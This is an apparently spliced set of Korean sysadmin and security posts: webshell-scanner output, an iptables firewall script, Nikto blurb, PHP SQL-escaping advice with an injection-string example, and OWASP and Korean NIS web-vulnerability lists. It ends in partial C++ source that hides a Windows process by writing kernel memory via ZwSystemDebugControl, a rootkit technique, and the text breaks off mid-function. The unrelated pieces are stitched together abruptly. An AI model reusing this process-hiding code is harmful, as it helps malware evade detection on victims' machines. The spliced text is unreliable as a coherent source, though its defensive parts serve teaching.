Checking /home/www directory
[1 Found] /home/www/intra/board/imgskin/green/icon_re.php
Check Result
[INFO] 5978 Files checked
[INFO] 1 Suspected WebShell
[INFO] Time cost : 00:28:50
[INFO] Finish sending the checking result
[Press <ENTER> to continue]
[1] [1 Found] /home/www/intra/board/imgskin/green/icon_re.php
[ view result(v), select (hit num), quit(q) ] :
파일 하나가 숨어 있네요... 이론.... X...
사이트 하나 체크에 30분 정도 걸리는거 같고요... 위에 파일수 6000개 정도...
4 cpu 인데 cpu 하나가 100% 나오는데...
load average 가 1 조금더 상승하네요..
큰 부하안걸려서 사이트 돌리는 중에 체크하셔도 될듯 하긴한데....
한번씩들 체크해보세요...
별로 쓸일이 많지는 않겠지만.
짬짬이 책보고 만든건데 기본적인건 해봤는데 몇가지는 테스트 못했습니다.
SSL 지원되는 IMAP이나 SECONDARY NAMESERVER 같은거 말이죠.
기본룰은 모든걸을 막고 필요한 것만을 통과시키는 규칙입니다.
윈도우용 편집기를 이용해서 작성하면 정상적인 작동이 안됩니다.
-------------------------------------------------------------------
#!/bin/sh
. /etc/rc.d/init.d/functions
. /etc/sysconfig/network
#네트워크가 활성화상태인지체크
if [ ${NETWORKING} = "no" ]; then
exit 0
fi
#iptable설치확인
if [ ! -x /sbin/iptables ]; then
exit 0
fi
#변수선언
IPADDR=`ifconfig eth0 | fgrep -i inet | cut -d : -f 2 | cut -d " " -f 1` #ip주소
EXTERNAL_INTERFACE="eth0" #외부인터넷연결인터페이스
LOOPBACK_INTERFACE="lo" #루프백인터페이스
PRIMARY_NAMESERVER="111.111.111.111" #1차내임서버
SECONDARY_NAMESERVER="222.222.222.222" #2차내임서버
SMTP_SERVER="333.333.333.333" #메일서버
LOOPBACK="127.0.0.0/8" #예약된루프백주소범위
CLASS_A="10.0.0.0/8" #A클래스사설ip범위
CLASS_B="172.16.0.0/12" #B클래스사설ip범위
CLASS_C="192.168.0.1/16" #C클래스사설ip범위
CLASS_D_MULTICAST="224.0.0.0/4" #D클래스멀티캐스트주소
CLASS_E_RESERVED_NET="240.0.0.0/5" #E클래스의예약된주소
BROADCAST_SRC="0.0.0.0" #브로드캐스트소스주소
BROADCAST_DEST="255.255.255.224" #브로드캐스트목적지주소
PRIVPORTS="0:1023" #특권(privilege)을 준 포트범위
UNPRIVPORTS="1024:" #특권을 주지않은(unprivilege)포트범위
SSH_LOCAL_PORTS="1022:65535" #로컬클라이언트를 위한 포트범위
SSH_REMOTE_PORTS="513:65535" #원격클라이언트를 위한 포트범위
TRACEROUTE_SRC_PORTS="32769:65535"
TRACEROUTE_DEST_PORTS="33434:33523"
#모든규칙삭제
iptables -F
#사용자정의 체인삭제
iptables -X
#기본정책을 DROP으로 한다
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
#루트백인터페이스에 대해 무제한의 트래픽을 허용
iptables -A INPUT -i $LOOPBACK_INTERFACE -j ACCEPT
iptables -A OUTPUT -o $LOOPBACK_INTERFACE -j ACCEPT
#./rc.firewall.blocked 파일에 있는 주소를 거부한다
if [ -f ./rc.firewall.blocked ]; then
deny_file="./rc.firewall.blocked"
while read ip_addy
do
case $ip_addy in
*)echo "$ip_addy DROP"
iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j DROP
iptables -A INPUT -i $EXTERNAL_INTERFACE -d $ip_addy -j DROP
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -s $ip_addy -j REJECT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j REJECT
;;
esac
done < $deny_file
unset deny_file
fi
unset ip_addy
#./rc.firewall.accepted 파일에 있는 주소를 허락
if [ -f ./rc.firewall.accepted ]; then
allow_file="./rc.firewall.accepted"
while read ip_addy
do
case $ip_addy in
*)echo "$ip_addy ACCEPT"
iptables -A INPUT -i $EXTERNAL_INTERFACE -s $ip_addy -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -d $ip_addy -j ACCEPT
;;
esac
done < $allow_file
unset allow_file
fi
unset ipaddr
#소스주소가 자신의 IP인 것처럼 위장해서 들어오는 패킷을 drop
iptables -A INPUT -s $IPADDR -j DROP
#소스주소가 A,B,C클래스의 사설IP인 패킷을거부
iptables -A INPUT -s $CLASS_A -j DROP
iptables -A INPUT -s $CLASS_B -j DROP
iptables -A INPUT -s $CLASS_C -j DROP
#브로드캐스트주소를 소스로하는 패킷을 차단
iptables -A INPUT -s $BROADCAST_DEST -j DROP
iptables -A INPUT -d $BROADCAST_SRC -j DROP
#D클래스 멀티캐스트 주소를 거부한다
iptables -A INPUT -s $CLASS_D_MULTICAST -j DROP
#예약된 E클래스 주소는 거부한다
iptables -A INPUT -s $CLASS_E_RESERVED_NET -j DROP
#IANA에 의해 예약된 특정주소거부(2001.01.04 기준)
iptables -A INPUT -s 0.0.0.0/8 -j DROP
iptables -A INPUT -s 127.0.0.0/8 -j DROP
iptables -A INPUT -s 169.0.2.0/24 -j DROP
iptables -A INPUT -s 192.0.2.0/24 -j DROP
iptables -A INPUT -s 224.0.0.9/3 -j DROP
#UDP TRACEROUTE(네임서버에 필요)
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $TRACEROUTE_SRC_PORTS -d $IPADDR --destination-port $TRACEROUTE_DEST_PORTS -j DROP
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $TRACEROUTE_SRC_PORTS --destination-port $TRACEROUTE_DEST_PORTS -j ACCEPT
#포위드전용 DNS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $PRIMARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $PRIMARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn -s $SECONDARY_NAMESERVER --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS -d $SECONDARY_NAMESERVER --destination-port 53 -j ACCEPT
#SSH 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $SSH_REMOTE_PORTS -d $IPADDR --destination-port 22 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 22 --destination-port $SSH_REMOTE_PORTS -j ACCEPT
#SSH 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $SSH_LOCAL_PORTS --destination-port 22 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 22 -d $IPADDR --destination-port $SSH_LOCAL_PORTS -j ACCEPT
#HTTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 80 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 80 --destination-port $UNPRIVPORTS -j ACCEPT
#HTTPS 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 443 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 443 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 3306 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 3306 --destination-port $UNPRIVPORTS -j ACCEPT
#MYSQL 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 3306 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 3306 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 21 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 21 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 포트모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port $UNPRIVPORTS -d $IPADDR --destination-port 20 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 20 --destination-port $UNPRIVPORTS -j ACCEPT
#FTP 패시브모드서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port $UNPRIVPORTS --destination-port $UNPRIVPORTS -j ACCEPT
#POP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 110 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 110 --destination-port $UNPRIVPORTS -j ACCEPT
#POP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 110 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 110 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 143 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 143 --destination-port $UNPRIVPORTS -j ACCEPT
#IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 143 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 143 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 993 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 993 --destination-port $UNPRIVPORTS -j ACCEPT
#SSL 지원되는 IMAP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 993 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 993 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 25 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 25 --destination-port $UNPRIVPORTS -j ACCEPT
#SMTP 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 25 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 25 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS 서버
#서버와 서버간 또는 클라이언트와의 질의 반응
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port 53 --destination-port 53 -j ACCEPT
#DNS 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p udp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p udp --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 53 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 53 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#DNS Zone 전송
#PRIMARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $SECONDARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $SECONDARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#SECONDARY NAMESERVER
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp -s $PRIMARY_NAMESERVER --source-port $UNPRIVPORTS -d $IPADDR --destination-port 53 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port 53 -d $PRIMARY_NAMESERVER --destination-port $UNPRIVPORTS -j ACCEPT
#ICMP
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type echo-reply -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type destination-unreachable -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type source-quench -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type time-exceeded -d $IPADDR -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p icmp --icmp-type parameter-problem -d $IPADDR -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type fragmentation-needed -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type source-quench -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p icmp -s $IPADDR --icmp-type parameter-problem -j ACCEPT
#rsync 서버
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp --source-port $UNPRIVPORTS -d $IPADDR --destination-port 873 -j ACCEPT
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp ! --syn -s $IPADDR --source-port 873 --destination-port $UNPRIVPORTS -j ACCEPT
#rsync 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 873 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 873 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
#time 클라이언트
iptables -A OUTPUT -o $EXTERNAL_INTERFACE -p tcp -s $IPADDR --source-port $UNPRIVPORTS --destination-port 37 -j ACCEPT
iptables -A INPUT -i $EXTERNAL_INTERFACE -p tcp ! --syn --source-port 37 -d $IPADDR --destination-port $UNPRIVPORTS -j ACCEPT
echo "FIREWALL START"
Thanks to Edgeos for sponsoring Nikto!
Deploy your branded security services quickly and easily, including a full web-based portal for your customers, unlimited external and internal vulnerability assessments, automated professional reporting, and centralized management. The Edgeos platform is your company's security services, for your customers, and completely private labeled for your business!
Edgeos - Target Your Customers' Security
--------------------------------------------------------------------------------
Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6100 potentially dangerous files/CGIs, checks for outdated versions of over 950 servers, and version specific problems on over 260 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.
Nikto is not designed as an overly stealthy tool. It will test a web server in the quickest time possible, and is fairly obvious in log files. However, there is support for LibWhisker's anti-IDS methods in case you want to give it a try (or test your IDS system).
Not every check is a security problem, though most are. There are some items that are "info only" type checks that look for things that may not have a security flaw, but the webmaster or security engineer may not know are present on the server. These items are usually marked appropriately in the information printed. There are also some checks for unknown items which have been seen scanned for in log files.
Nikto is written by Chris Sullo and David Lodge.
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \\ (backslash) and NUL's are escaped with a backslash automatically.
이것은 자동으로 addslashes() 를 하는 옵션입니다.
하지만 sql 문법에 완전히 맞지 않습니다.
물론 \\ 로 escape 하는 문법을 지원해 주긴 합니다만, 원래의 문법은 아닙니다.
게다가 ; 는 escape 시키지 않으니 사소한 실수로 큰 보안구멍이 발생할 수 있습니다.
*_escape_string()
각 sql 별로 escape_string() 이라는 함수가 제공됩니다.
mysql_escape_string('문자열') 로 mysql 에 맞는 escape 된 문자열로 변환해 줍니다.
일반적으로 sql 의 문법은 문자열을 작은따옴표(') 로 묶고, 작은따옴표를 표현하는것은 작은따옴표 2번 입니다.('')
이것 '참' 좋군 이라는 문자열을 escape 시킨다면
이것 ''참'' 좋군 이 되고
query('INSERT INTO table VALUES (\\'이것 \\'\\'참\\'\\' 좋군\\');') 이 될 것입니다.
보통은 post 받은 문자열을 db 에 넣을 것이므로
$_POST = array_map('mysql_escape_string', $_POST); 로 한번에 escape 시키고 사용하면 됩니다.
주의할 것은 select 한 결과를 그대로 재사용할 때 다시 escape 시켜야 한다는 것입니다.
result 는 escape 되지 않은 문자열 입니다.
prepared query
좀더 안전하고 편리한 방법으로 prepared query 를 이용하는 방법이 있습니다.
INSERT INTO table (a, b) VALUES (:a, :b) 라는 쿼리를 미리 prepare (컴파일?) 시킵니다.
이 단계에서는 인젝션이 일어날 문자열이 아예 포함되지 않은채 prepare 됩니다.
그 다음 prepare 된 쿼리에 문자열을 bind 하여 쿼리를 실행합니다.
bind 단계에서는 파싱하지 않으므로 escape 시키지 않아도 안전합니다.
mysqli, pg 등이 제공하고, PDO 를 이용하면 손쉽게 적용할 수 있습니다.
$db = new PDO(접속);
$stmt = $db->prepare('INSERT INTO table (a, b) VALUES (:a, :b)');
$fields[':a'] = '\\'; DELETE FROM table;\\';
$fields[':b'] = '\\'; DELETE FROM table;\\';
$stmt->execute($fields);
bind 값인 :a, :b 는 문자열이든 수이든 따옴표를 쓰지 않습니다.
위의 예제 외에 bindParam() 함수를 이용하여 & 참조변수로 만들어 변수에 값만 채우고 execute() 하면 되는 방식도 있습니다.
WHERE 절에는 prepare binding 을 사용하지 않는것이 좋습니다.
sql 은 쿼리를 분석하여 최적의 인덱싱 방법을 결정합니다.
쿼리에 검색조건이 완전하지 않으면 일반적인 인덱싱밖에 적용될 수 없습니다.
어떻게 뚫을 수 있지? 아무리 생각해도 이 코드에서는 뚫을 수 없어. 그러니 귀찮게 escape 안시켜도 돼.
오만입니다. 개인의 생각에는 한계가 있고, 뚫린 후에는 늦습니다.
escape 는 프로그래머의 기본 예절 입니다.
OWASP 10 대 위협과 국정원 8대 취약성을 인지하고 있다면, 웹 방화벽이나 취약점분석 서비스를 선택하는데에 도움이 될 것이라 생각됩니다.
웹 애플리케이션 서비스를 요청하기 위해 애플리케이션에 데이터를 전송할 때 HTTP를 통해 URL, 쿼리(Query), 헤더(Header), 쿠키(Cookie), HTML 폼에 대한 정보를 전송한다. 이때 이 데이터 값을 악의적으로 변경해 시스템에 피해를 가할 수 있다.
2. 취약한 접근 통제
가장 심각한 위협은 외부에서 관리자의 접근을 허용하는 것으로 루트 권한이나, 시스템 환경 구성 관리 권한을 제공하면 이 통로를 통해 전 시스템에 대한 접근이 허용될 수 있다.
3. 취약한 인증 및 세션 관리
인증 관련 정보를 제어하는 프로그램에 대한 통제는 상대적으로 느슨하다. 세센에 실려 다니는 정보가 유츌되 위협이 발생할 수도 있다.
4. 크로스 사이트 스크립트
특정 사이트에서 사용자가 정보를 받을 때 그 정보 내에 악의적인 코드를 숨겨놓아 이를 클라이언트에서 실행되도록 하는 기법이다.
5. 버퍼 오버플로우
웹 서버, 웹 애플리케이션 서버에 대한 공격 유형이다. 웹 애플리케이션 자체의 버퍼 오버플로우에 대한 공격 유형과 비슷하다.
6. 삽입 취약점
삽입 취약점은 웹 애플리케이션이 자체 로직을 이용해 외부의 모듈을 호출하는 것이다.
7. 부적절한 에러처리
애플리케이션 실행 도중 에러가 발생한 경우에 해당 에러의 내용을 직접 사용자 화면에 보여주는 경우가 있다. 이 정보가 자바 익스프레션 덤프(Exception Dump)라면 사용자는 애플리케이션이 어떤 계층 구조로 이뤄져 있고 어디에서 어떤 문제가 발생하는지 알 수 있으며 이를 통해 시스템에 대한 공격을 할 수 있다.
8. 취약한 정보저장 방식
웹 애플리케이션이 데이터베이스나 파일 시스템이 민감한 정보를 저장할 필요가 있다. 이들 정보는 외부에서 접근이 허용되지 않는 내부 망에 저장되는 경우가 대부분이지만 웹 서버에 저장돼 외부 취약점이 발생하기도 한다.
9. 서비스 방해공격
서비스 방해 공격은 웹 애플리케이션의 취약점을 이용해 해당 애플리케이션이 서비스 중단 상태로 가도록 하는 것이다.
10. 부적절한 환경 설정
서버 환경 설정에서 일반적으로 일어나는 유형은 운영팀에서 적절한 보안 패치를 하지 않았을때 발생한다.
2. 국정원 8대 홈페이지 취약성
1. 디렉토리 리스팅 취약점
- IIS 웹 서버 : ‘디렉토리 검색’ 항목이 체크
- Apache 웹 서버 : ‘httpd.conf 파일’에서 ‘Indexes’옵션이 On
되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.
2. 파일 다운로드 취약점
게시판 등에 저장된 자료에 대해 ‘다운로드 스크립트’를 이용하여 다운로드 기능을 제공하면서, 대상 자료파일의 위치 지정에 제한조건을 부여하지 않았을 경우에 URL칸의 다운로드 스크립트의 인수 값에 ‘../’문자열 등을 입력하여 시스템 디렉토리 등에 있는 /etc/passwd와 같은 비공개 자료들이 유출될 수 있다.
3. 크로스사이트 스크립트 취약점
게시판에 새 게시물을 작성하여 등록할 때와 같이 사용자의 입력을 받아 처리하는 웹 응용프로그램에서 입력 내용에 대해 실행코드인 스크립트의 태그를 적절히 필터링하지 않을 경우에 악의적인 스크립트가 포함된 게시물을 등록할 수 있어 해당 게시물을 열람하는 일반 사용자의 pc로 부터 개인정보인 쿠키를 유출할 수 있는 등의 피해를 초래할 수 있다.
4. 파일 업로드 취약점
첨부파일 업로드를 허용하는 홈페이지 게시판에서 .php, .jsp등의 확장자 이름의 스크립트 파일의 업로드를 허용할 경우에 해커가 악성 실행 프로그램을 업로드한 후에 홈페이지 접속방식으로 원격에서 서버컴퓨터의 시스템 운영 명령어를 실행 시킬 수 있다.
윈도우 서버 컴퓨터에서 기본으로 설치되는 원격관리기능인 WebDAV가 계속 사용 가능하도록 설정되어 있고, WebDAV 라이브러리 파일의 속성 및 홈페이지 디렉토리에 쓰기 권한이 모두 허용되어 있는 경우에 해커가 WevDAV도구를 사용, 원격에서 홈페이지 디렉토리에 임으로 파일을 삽입하여 화면을 변조할 수 있다.
6. 테크노트(Technote) 취약점
‘테크노트’의 일부 CGI프로그램들에서 인수 값 처리시에 ‘ㅣ’문자 이후에 나오는 컴퓨터 운영 명령어가 실행될 수 있는 결함이 있어 해커는 홈페이지접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘Perl’이 지원될 경우 사용
7. 제로보드(Zeroboard) 취약점
- ‘제로보드’의 일부 php프로그램이 원격에 있는 php파일을 실행할 수 있는 결함이 있어 해커는 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix 계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘php’가 지원될 경우 사용
8. SQL Injection 취약점
웹 브라우저 주소 창 또는 사용자 ID 및 패스워드 입력화면에서 데이터베이스 SQL문에 사용되는 문자기호(‘ 및”)의 입력을 적절히 필터링 하지 않은 경우에 해커가 SQL 문으로 해석될 수 있도록 조작한 입력으로
데이터베이스를 인증 절차 없이 접근, 자료를 무단 유출하거나 변조할 수 있다.
http://cafe.naver.com/develx/26
위 주소에서 얻어옴...
///////////////////////////////////
어플리케이션 level에서 자신의 커널 level의 정보를 수정, 프로세서 고리를 끊는 방법으로
자기자신을 숨긴다.
별도의 디바이스드라이버를 작성하거나 등록 할 필요가 없어서 기존 프로그램에 손 쉽게 붙일 수 있다.
단지, 이 프로그램.... VISTA에서 안 돌아간다는거...
코드를 좀 수정하면 비스타에서도 가능 할 듯.. (프로세서 구조체의 번지만 다시 찾는다면은...)
// homin.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include <malloc.h>
#include <windows.h>
//NTSTATUS값이 0이상이면 보통 성공한 상태를 의미한다
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
//사이즈를 잘못 맞춘 경우
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
//NT함수가 사용하는 리턴 값인 NTSTATUS는 LONG형으로 정의된다
typedef LONG NTSTATUS;
//원래 값이 엄청 많다
//16은 레퍼런스에는 나와있지 않은 값인데,
//이를 넣을 경우 SYSTEM_HANDLE_INFORMATION을 얻을 수 있다
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
//시스템 핸들에 대한 정보를 가지고 있다
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//가상 메모리에 데이터를 쓰거나 읽을 때 사용하는 구조체이다
typedef struct _MEMORY_CHUNKS
{
PVOID pVirtualAddress;
PVOID pBuffer;
DWORD dwBufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;
//ZwSystemDebugControl의 첫 번째 인자
typedef enum _SYSDBG_COMMAND
{
SysDbgCopyMemoryChunks_0 = 0x08, //가상 메모리로부터 데이터를 읽을 때
SysDbgCopyMemoryChunks_1 = 0x09, //가상 메모리에 데이터를 쓸 때
} SYSDBG_COMMAND;
//DLL로 부터 로드해 사용해야 한다.. windows.h에 정의되어있지 않다
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS
SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWSYSTEMDEBUGCONTROL ) ( IN SYSDBG_COMMAND SysDbgChunks,
IN OUT PMEMORY_CHUNKS pQueryBuff,
DWORD dwSize, DWORD, DWORD, NTSTATUS *pResult);
//***********************************************************//
// ZwQuerySystemInformation은 시스템 정보를 얻어오는 함수로, //
// 첫 번째 인자에 16을 넘길 경우 현재 로드 되어있는 모든 //
// 핸들의 정보를 얻어오도록 되어있다. //
//***********************************************************//
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
//***********************************************************//
// ZwSystemDebugControl은 시스템 디버그에 관련된 명령을 수행 //
// 하는 함수로, 8또는 9를 넘길 경우 가상 메모리 공간을 //
// 읽거나 쓴다. //
//***********************************************************//
ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl;
BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess); //알맞는 권한을 획득한다
BOOL GetNativeAPIAddress(); //Native API의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId); //주어진 프로세스의 시스템 핸들 정보를 얻어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize); //가상 메모리 공간을 읽는다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize); //가상 메모리 공간에 데이터를 쓴다
BOOL HideProcess(DWORD dwProcessId); //프로세스를 숨긴다
BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess)
{
//권한 토큰 구조체
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
//lpName으로 지정된 권한 이름에 대한 LUID를 얻어낸다
LookupPrivilegeValue(0, lpName, &priv.Privileges[0].Luid);
